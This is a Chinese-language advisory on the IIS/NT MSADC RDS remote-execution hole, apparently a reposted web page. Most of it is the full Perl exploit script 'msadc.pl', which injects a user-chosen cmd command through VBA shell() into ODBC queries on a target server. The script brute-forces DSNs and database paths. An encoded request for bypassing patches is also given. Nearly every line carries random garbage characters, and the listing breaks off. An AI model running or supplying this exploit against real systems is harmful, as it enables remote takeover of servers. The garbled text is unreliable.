IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
o;
U!{G(X &;L=f; 涉及程序:
^w<aS
w Microsoft NT server
L/]
(pXEp X ,^([$ 描述:
Pt/]Z<VL 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
cF8 X Q[K)Yd 详细:
K:~tZ 如果你没有时间读详细内容的话,就删除:
|\G^:V[. c:\Program Files\Common Files\System\Msadc\msadcs.dll
1+XM1(|c` 有关的安全问题就没有了。
cGdYfi yO!M$aOn/ 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
nbf/WOCk '\xE56v)F 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
Ot:}Ncq^\O 关于利用ODBC远程漏洞的描述,请参看:
B.~]
7H5"( fmc\Li http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 5$N#=i`V )7o?}"I 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
h,]VWG http://www.microsoft.com/security/bulletins/MS99-025faq.asp
[)~1Lu v}d)uPl}; 这里不再论述。
18Z1F }*xjO/Ey 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
3JBXGT0gJ
6ST(=X_C /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
nhjT2Sl 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
Gsb^gd N)R5#JX *L$_80 #将下面这段保存为txt文件,然后: "perl -x 文件名"
fFr9] k{N!}%*2 #!perl
7}6CUo #
ms&1P # MSADC/RDS 'usage' (aka exploit) script
+{V`{' #
v~x4Y,m% # by rain.forest.puppy
g<.Is
V #
ci$J?a # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
Ef28 # beta test and find errors!
~&Ne
P
xz.Jmv use Socket; use Getopt::Std;
WQ%O/ getopts("e:vd:h:XR", \%args);
#vga
qe9 0gaHYqkA>} print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
yGAFQ|+ q`IY;"~ if (!defined $args{h} && !defined $args{R}) {
N!3Tg564j print qq~
z8JW iRn Usage: msadc.pl -h <host> { -d <delay> -X -v }
2b^Fz0
w4 -h <host> = host you want to scan (ip or domain)
rqqd} kA -d <seconds> = delay between calls, default 1 second
&0-oi Y -X = dump Index Server path table, if available
liH#=C8l*% -v = verbose
'Kbrz -e = external dictionary file for step 5
wL="p) TO. /W BmR R Or a -R will resume a command session
QDJ
"X CW?Z\ ~; exit;}
h@G~'\8t 83t/\x,Q $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
c3g`k"3*` if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
?Y,^Moc: if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
'xxM0Kn` if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
7H< IO` $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
*URT-+' if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
S_Wq`I@b "V26\ if (!defined $args{R}){ $ret = &has_msadc;
s_VcC_A die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
9*ZlNZ
>$L7J=Em print "Please type the NT commandline you want to run (cmd /c assumed):\n"
E1OrL.A6 . "cmd /c ";
mY4pvpZw8 $in=<STDIN>; chomp $in;
;<m`mb4x[ $command="cmd /c " . $in ;
7_76X)gIV $Vq5U9- if (defined $args{R}) {&load; exit;}
d8w3Oz54 prz COw print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
~U"m"zpLP &try_btcustmr;
&s vg<UZ bHv"! print "\nStep 2: Trying to make our own DSN...";
?{B5gaU9F &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
"YgpgW kodd7 AD print "\nStep 3: Trying known DSNs...";
nv@z;#& &known_dsn;
k)S1Z s~G E(|A"=\ print "\nStep 4: Trying known .mdbs...";
#5)/B &known_mdb;
#YE?&5t I@/
G#3Zr if (defined $args{e}){
il@>b print "\nStep 5: Trying dictionary of DSN names...";
6` TwP\!$/ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
Z}uY%] $$1t4=Pz print "Sorry Charley...maybe next time?\n";
"}*D,[C5e exit;
|;wc8; gI;"P kN ##############################################################################
[=q/f2_1. =N\; ?eF( sub sendraw { # ripped and modded from whisker
D48e30 sleep($delay); # it's a DoS on the server! At least on mine...
?8"*B^*Sh my ($pstr)=@_;
X%IqZ{{ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
-GPJ,S V> die("Socket problems\n");
CMW4Zqau* if(connect(S,pack "SnA4x8",2,80,$target)){
P7XZ|Td4* select(S); $|=1;
49&i];:%7% print $pstr; my @in=<S>;
+?o!"SJ select(STDOUT); close(S);
uo]xC+^ return @in;
JpC=ACF } else { die("Can't connect...\n"); }}
TsK!36cg S7f.^8 ##############################################################################
e>Z&0lV: b3E1S+\=~ sub make_header { # make the HTTP request
.c+U=bV- my $msadc=<<EOT
<7\j\` POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
i3N{Dt User-Agent: ACTIVEDATA
(is' ,4^b Host: $ip
$ItmYj.m Content-Length: $clen
s"`~Xnf Connection: Keep-Alive
m.m6. nXLz<wE ADCClientVersion:01.06
j}ob7O&U'w Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
Mu[lk=jC #:gl+ --!ADM!ROX!YOUR!WORLD!
2MRd Content-Type: application/x-varg
OVi<d Content-Length: $reqlen
Ul_Zn 1 #,4P1" EOT
rx gSQ+G_ ; $msadc=~s/\n/\r\n/g;
9,INyEyAL return $msadc;}
B\RAX# M0fN[!*z ##############################################################################
iv~R4;;) x:MwM? sub make_req { # make the RDS request
V&nB*U&s" my ($switch, $p1, $p2)=@_;
SZ9Oz-? my $req=""; my $t1, $t2, $query, $dsn;
:$b` n *zrGrk:l if ($switch==1){ # this is the btcustmr.mdb query
N<:c*X $query="Select * from Customers where City=" . make_shell();
]|CcQ1#|H $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
9Q4{ cB
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
{fACfSW6 Qy" Jt ]O elsif ($switch==2){ # this is general make table query
Z&Ob,Ru $query="create table AZZ (B int, C varchar(10))";
1]Xx{j< $dsn="$p1";}
IAH"vHM 9AVj/?kmU elsif ($switch==3){ # this is general exploit table query
MrHJ)x"hy $query="select * from AZZ where C=" . make_shell();
wkx9@?2* $dsn="$p1";}
%@Gy<t, \s*UUODWK elsif ($switch==4){ # attempt to hork file info from index server
B.r^'>jQ $query="select path from scope()";
spfW)v/T! $dsn="Provider=MSIDXS;";}
D wJ^ W&* mBErU6?X,A elsif ($switch==5){ # bad query
vYV!8o.I $query="select";
BrE#.g Jq $dsn="$p1";}
6v3l^~kc' @@oJ@; $t1= make_unicode($query);
?0/$RpFEM# $t2= make_unicode($dsn);
x!_5/ $req = "\x02\x00\x03\x00";
/&Oo)OB; $req.= "\x08\x00" . pack ("S1", length($t1));
l|WFS $req.= "\x00\x00" . $t1 ;
F}u'A,Hc $req.= "\x08\x00" . pack ("S1", length($t2));
>SDQ@63E? $req.= "\x00\x00" . $t2 ;
c1k[)O~ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
;Yee0O!d4 return $req;}
a*5KUj6/TL }9"''Z ##############################################################################
5VTVx1P[8 aG
}oI! sub make_shell { # this makes the shell() statement
/(JG\Ut return "'|shell(\"$command\")|'";}
yk8b>.Y\A Ljm`KE\Q;t ##############################################################################
+ kKanm[!v n\((#<& sub make_unicode { # quick little function to convert to unicode
v@%4i~N my ($in)=@_; my $out;
00 x- for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
]%A> swCpn return $out;}
bs"J]">(N EN2t}rua ##############################################################################
4C3_gm Nj4CkMM[3 sub rdo_success { # checks for RDO return success (this is kludge)
]oV{JR] my (@in) = @_; my $base=content_start(@in);
D-BT`@~l if($in[$base]=~/multipart\/mixed/){
RdPk1?}K return 1 if( $in[$base+10]=~/^\x09\x00/ );}
i4|R0>b return 0;}
}dzdx " @.-S(MNR ##############################################################################
* |,N/e ^ 0YQlT98 sub make_dsn { # this makes a DSN for us
>*{k~Y-G my @drives=("c","d","e","f");
VBL4cU8D print "\nMaking DSN: ";
}e$ foreach $drive (@drives) {
h_(M#gG print "$drive: ";
Wz'!stcp my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
We{@0K/O "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
S9l,P-X` . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
0vjCSU-X $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
<rE>?zvm return 0 if $2 eq "404"; # not found/doesn't exist
j$q5m 24L if($2 eq "200") {
YYn8!FIe foreach $line (@results) {
&NBH'Rt return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
BEaF-*?A } return 0;}
@??3d9I _!o8s%9be ##############################################################################
$!*>5".A /3aW 0/^o sub verify_exists {
@KL&vm(F$ my ($page)=@_;
T9V=#+8#" my @results=sendraw("GET $page HTTP/1.0\n\n");
Bn]=T return $results[0];}
Hnt*,C.0 jXeE]A" ##############################################################################
T>asH vT EqT sub try_btcustmr {
4 -tC=>>wc my @drives=("c","d","e","f");
S&}7XjY my @dirs=("winnt","winnt35","winnt351","win","windows");
[bHm-X] ~g=&wT11 foreach $dir (@dirs) {
@\&j3A print "$dir -> "; # fun status so you can see progress
$"vz>SuB foreach $drive (@drives) {
.+1I>L print "$drive: "; # ditto
#s c!H4 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
!*:g??[T $reqlenlen=length( "$reqlen" );
62HA[cr&) $clen= 206 + $reqlenlen + $reqlen;
06]3+s{{ E'aOHSAg my @results=sendraw(make_header() . make_req(1,$drive,$dir));
hP+4{F*}- if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
|s!
_;6 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
id:,\iJ yo#r^iAr ##############################################################################
OY{fxBb b5|*p(7[ sub odbc_error {
#1haq[Uv7 my (@in)=@_; my $base;
/iO"4%v my $base = content_start(@in);
DKt98; if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
C<J*C0vQO $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
8S#$'2sT $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
yDqwz[v b $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
iKaX8c,zI return $in[$base+4].$in[$base+5].$in[$base+6];}
8s6[-F5 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
u"qu!EY2 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
"j_iq"J $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
"a[;{s{{. vSnVq>-q& ##############################################################################
3`reXms*{ &tZIWV1& sub verbose {
v<v;Z R) my ($in)=@_;
}3: mn return if !$verbose;
Nl YFS?5 print STDOUT "\n$in\n";}
*:H,-@
<)TIj6 ##############################################################################
qkhre3 s8,YQ5- sub save {
eWDXV-xD my ($p1, $p2, $p3, $p4)=@_;
@}4>:\es open(OUT, ">rds.save") || print "Problem saving parameters...\n";
v,}C~L3 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
X&zGgP/ close OUT;}
+zMhA p )r46I$]> ##############################################################################
GPHb- +
-Rf@ sub load {
i[KXkjr my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Fl.?*KBz open(IN,"<rds.save") || die("Couldn't open rds.save\n");
V|
Fo@ @p=<IN>; close(IN);
@]n8*n $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
q.=Q $target= inet_aton($ip) || die("inet_aton problems");
H7+z"^s* print "Resuming to $ip ...";
#tKks:eL $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
:'bZ:J>f if($p[1]==1) {
Q$U.vF7BnP $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
}BM`4/ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
VvW4!1Dl my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
(X@\2M4@T# if (rdo_success(@results)){print "Success!\n";}
qR
cSB else { print "failed\n"; verbose(odbc_error(@results));}}
HjK8y@j elsif ($p[1]==3){
.fzyA5@l if(run_query("$p[3]")){
7Y@]o=DIc print "Success!\n";} else { print "failed\n"; }}
FL \pgbI elsif ($p[1]==4){
`
1+*-g^r if(run_query($drvst . "$p[3]")){
(m2%7f.I print "Success!\n"; } else { print "failed\n"; }}
/)TeG]Xg exit;}
b<y*:(: y?UJ<QAi ##############################################################################
4S'e>: o`n8Fk}i sub create_table {
Xi"9y @ my ($in)=@_;
&qWg$_Yh $reqlen=length( make_req(2,$in,"") ) - 28;
cV>?*9z0 $reqlenlen=length( "$reqlen" );
#D_Ti%.^} $clen= 206 + $reqlenlen + $reqlen;
T2rwK2 my @results=sendraw(make_header() . make_req(2,$in,""));
`>\
~y1 return 1 if rdo_success(@results);
Vw w 211 my $temp= odbc_error(@results); verbose($temp);
Kq")|9=d return 1 if $temp=~/Table 'AZZ' already exists/;
VL*5 return 0;}
\9,lMK[b sBZn0h@ ##############################################################################
?M'CTz}<\ |[n\'Xy;{ sub known_dsn {
wm#(\dj # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
7Z2D}O+ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
w
aniCEo "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
m)66g]F+ "banner", "banners", "ads", "ADCDemo", "ADCTest");
Z]Xa:[ qGag{E5! foreach $dSn (@dsns) {
b&!}SZ print ".";
(+v':KH3_ next if (!is_access("DSN=$dSn"));
^?fsJ if(create_table("DSN=$dSn")){
oU1N>,
print "$dSn successful\n";
8#$HKWUK if(run_query("DSN=$dSn")){
Po=:-Of: print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
,9G'1%z, print "Something's borked. Use verbose next time\n";}}} print "\n";}
^e^-1s
S agfDx^, ##############################################################################
m>Wt'Cc B>E4," sub is_access {
7Q{&L#; my ($in)=@_;
b [HnhAI $reqlen=length( make_req(5,$in,"") ) - 28;
x=>dmi3 $reqlenlen=length( "$reqlen" );
0>j0L8#^p $clen= 206 + $reqlenlen + $reqlen;
ds(X[7XGW
my @results=sendraw(make_header() . make_req(5,$in,""));
!Yo2P" my $temp= odbc_error(@results);
_K?v^oM# verbose($temp); return 1 if ($temp=~/Microsoft Access/);
-ioO8D&! return 0;}
gAvNm[=wD2 0*]0#2Z ##############################################################################
prO&"t
> )Mq4p'*A[ sub run_query {
o!h::j0,~ my ($in)=@_;
w$$pTk|&n $reqlen=length( make_req(3,$in,"") ) - 28;
"d/54PKWx $reqlenlen=length( "$reqlen" );
I[Bp}6G $clen= 206 + $reqlenlen + $reqlen;
I|*<[/)]y my @results=sendraw(make_header() . make_req(3,$in,""));
Z]LP18m9kl return 1 if rdo_success(@results);
ZWyf.VJ my $temp= odbc_error(@results); verbose($temp);
]gHrqi% return 0;}
dj084q7 qK;J:GT> ##############################################################################
GKg #nXS $Rze[3 sub known_mdb {
*RJD^hu my @drives=("c","d","e","f","g");
=Cf@!wZ^ my @dirs=("winnt","winnt35","winnt351","win","windows");
XU"G my $dir, $drive, $mdb;
Wx/PD=Sf& my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
UBv#z&@[ H '5zl^8I # this is sparse, because I don't know of many
g#{7qmM my @sysmdbs=( "\\catroot\\icatalog.mdb",
$n8&5< "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
KDg%sgRu} "\\system32\\certmdb.mdb",
/FXb,)1t "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
T^8`ji ;(E]mbV'= my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
1|
WDbk "\\cfusion\\cfapps\\forums\\forums_.mdb",
MIr[_ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
Xl$r720ZJr "\\cfusion\\cfapps\\security\\realm_.mdb",
E\4ZUGy0 "\\cfusion\\cfapps\\security\\data\\realm.mdb",
~]%re9jGW "\\cfusion\\database\\cfexamples.mdb",
rr1,Ijh{D "\\cfusion\\database\\cfsnippets.mdb",
;YokPiBy "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
:[?7,/w "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
D@w&[IF "\\cfusion\\brighttiger\\database\\cleam.mdb",
p&(z'd "\\cfusion\\database\\smpolicy.mdb",
mtFC H "\\cfusion\\database\cypress.mdb",
+tkm,>s "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
#?M[Q: "\\website\\cgi-win\\dbsample.mdb",
p/ZgzHyF "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
Y]&2E/oc "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
A\/DAVnI ); #these are just
Or/YEt} foreach $drive (@drives) {
aAu%QRq foreach $dir (@dirs){
(8S+-k? foreach $mdb (@sysmdbs) {
iU{\a, print ".";
>PWDo if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
:`yW^b print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
!=vsY] if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
!+hw8@A print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
/$qB&OWJn
} else { print "Something's borked. Use verbose next time\n"; }}}}}
:q1j?0{2N !k'E foreach $drive (@drives) {
*Q [%r foreach $mdb (@mdbs) {
t P'._0n0 print ".";
0n{+_
if(create_table($drv . $drive . $dir . $mdb)){
H5FWk print "\n" . $drive . $dir . $mdb . " successful\n";
S2I{?y&K if(run_query($drv . $drive . $dir . $mdb)){
>r:z`^p print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
o9D#d\G } else { print "Something's borked. Use verbose next time\n"; }}}}
nm|"9|/
}
IQ#Kod;) s?sr0HZ ##############################################################################
ayf;'1 $f"Ce,f sub hork_idx {
_}H`(d%N print "\nAttempting to dump Index Server tables...\n";
's8LrO(= print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
d8jP@> $reqlen=length( make_req(4,"","") ) - 28;
j}%C;;MPH $reqlenlen=length( "$reqlen" );
$xcU*?=K $clen= 206 + $reqlenlen + $reqlen;
O[}2 my @results=sendraw2(make_header() . make_req(4,"",""));
>\Iy <M if (rdo_success(@results)){
Em<J{`k6 my $max=@results; my $c; my %d;
5n2}|V$VqP for($c=19; $c<$max; $c++){
BYI13jMH+Y $results[$c]=~s/\x00//g;
_A$V~Hp9q $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
{y!77>Q/ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
rj eKG-Z@ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
:n}t7+(>U $d{"$1$2"}="";}
UD'e%IVw foreach $c (keys %d){ print "$c\n"; }
f,+ONV]5Tt } else {print "Index server doesn't seem to be installed.\n"; }}
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